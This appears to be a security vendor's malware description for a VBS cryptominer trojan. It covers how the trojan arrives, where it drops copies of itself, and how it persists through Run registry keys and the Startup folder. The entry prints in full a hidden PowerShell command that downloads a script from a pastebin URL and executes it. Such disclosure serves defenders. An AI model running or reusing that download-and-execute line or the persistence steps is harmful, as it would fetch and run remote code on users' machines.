Trojan.VBS.MALXMR.THHADBO

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following copies of itself into the affected system:

• %User Temp%\{malware filename}.vbs

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

• %System%\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.DownloadString('https://pastebin.com/raw/jimA8sdx'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exit
• powershell Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value %User Temp%\{malware filename}.vbs

Autostart Technique

This Trojan modifies the following registry entries to ensure it automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = %User Temp%\{malware filename}.vbs

It drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

• %User Startup%\{malware filename}.vbs → copy of the malware

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)